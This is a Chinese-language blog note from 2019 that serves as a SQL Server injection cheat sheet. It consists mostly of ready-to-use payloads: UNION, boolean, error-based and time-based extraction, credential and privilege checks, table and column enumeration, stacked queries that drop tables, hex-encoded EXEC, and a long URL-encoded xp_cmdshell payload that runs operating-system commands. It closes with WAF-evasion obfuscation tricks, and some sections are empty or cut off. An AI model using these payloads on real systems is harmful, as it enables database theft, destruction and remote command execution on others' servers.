数据库的一些注入技巧-sqlserver

• 2019 年 11 月 5 日
• 笔记

默认数据库

注释

SELECT * FROM Users WHERE username = '' OR 1=1 —' AND password ='';

SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

查询版本信息

@@VERSION

SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE'%2008%';

查询数据库凭证

SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE'0' END);

查询数据库信息

· SELECT DB_NAME(5);

· SELECT name FROM master..sysdatabases;

查询主机名称

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

查询表和列

确定列数

ORDER BY n+1;

漏洞语句：

SELECT username, password, permission FROM UsersWHERE id = '1';

查询列数如下：

查询列

GROUP BY / HAVING

漏洞语句：

SELECT username,password, permission FROM Users WHERE id = '1';

注入语句：

查询表

从以下两个数据库中查询表信息：

information_schema.tables、master..sysobjects

联合查询

布尔查询

报错查询

查询列

从以下两个数据库中查询表信息：

information_schema.columns 、 masters..syscolumns

联合查询

UNION SELECT nameFROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHEREname = 'tablename')

布尔查询

AND SELECT SUBSTRING(column_name,1,1) FROMinformation_schema.columns > 'A'

报错查询

检索多个表/列

1、

AND 1=0; BEGIN DECLARE @xy varchar(8000) SET@xy=':' SELECT @xy=@xy+' '+name FROMsysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

2、

AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROMTMP_DB);

3、

AND 1=0; DROP TABLE TMP_DB;

SQL Server 2005版本以上适用

储存过程查询：

' AND 1=0; DECLARE @S VARCHAR(4000) SET@S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);–

避免单引号

字符串拼接

条件判断

IF 1=1 SELECT'true' ELSE SELECT 'false';

SELECT CASE WHEN 1=1 THEN true ELSE false END;

时间注入

WAITFOR DELAY 'time_to_pass';

WAITFOR TIME 'time_to_execute';

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFORDELAY '0:0:0';

执行命令

EXEC master.dbo.xp_cmdshell 'cmd';

mssql 2005默认禁用xp_cmdshell,用以下语句开启：

调用wscript执行命令：

如果版本高于sql 2000，需要执行其他查询才能执行上一条命令：

例：

1、把命令结果存入tmp_db

' IF EXISTS (SELECT 1 FROMINFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE@a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id(N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGINCREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_valueint, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGINCREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXECmaster..xp_cmdshell 'dir' SELECT @a='' SELECT@a=Replace(@a%2B'<br></font><fontcolor="black">'%2Bdir,'<dir>','</font><fontcolor="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23DataEND ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSESELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB–

2、从tmp_db查询内容：

' UNION SELECT tbl FROM TMP_DB–

3、删除tmp_db

' DROP TABLE TMP_DB–

多语句查询

' AND 1=0 INSERT INTO ([column1], [column2]) VALUES('value1', 'value2');

混淆

以下字符等同于空

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

%仅限于ASP(x)环境

以下字符代替空格

UNION(SELECT(column)FROM(table));

SELECT"table_name"FROM[information_schema].[tables];

and/or之后可以使用的符号

SELECT 1FROM[table]WHERE1=1AND1=1;

编码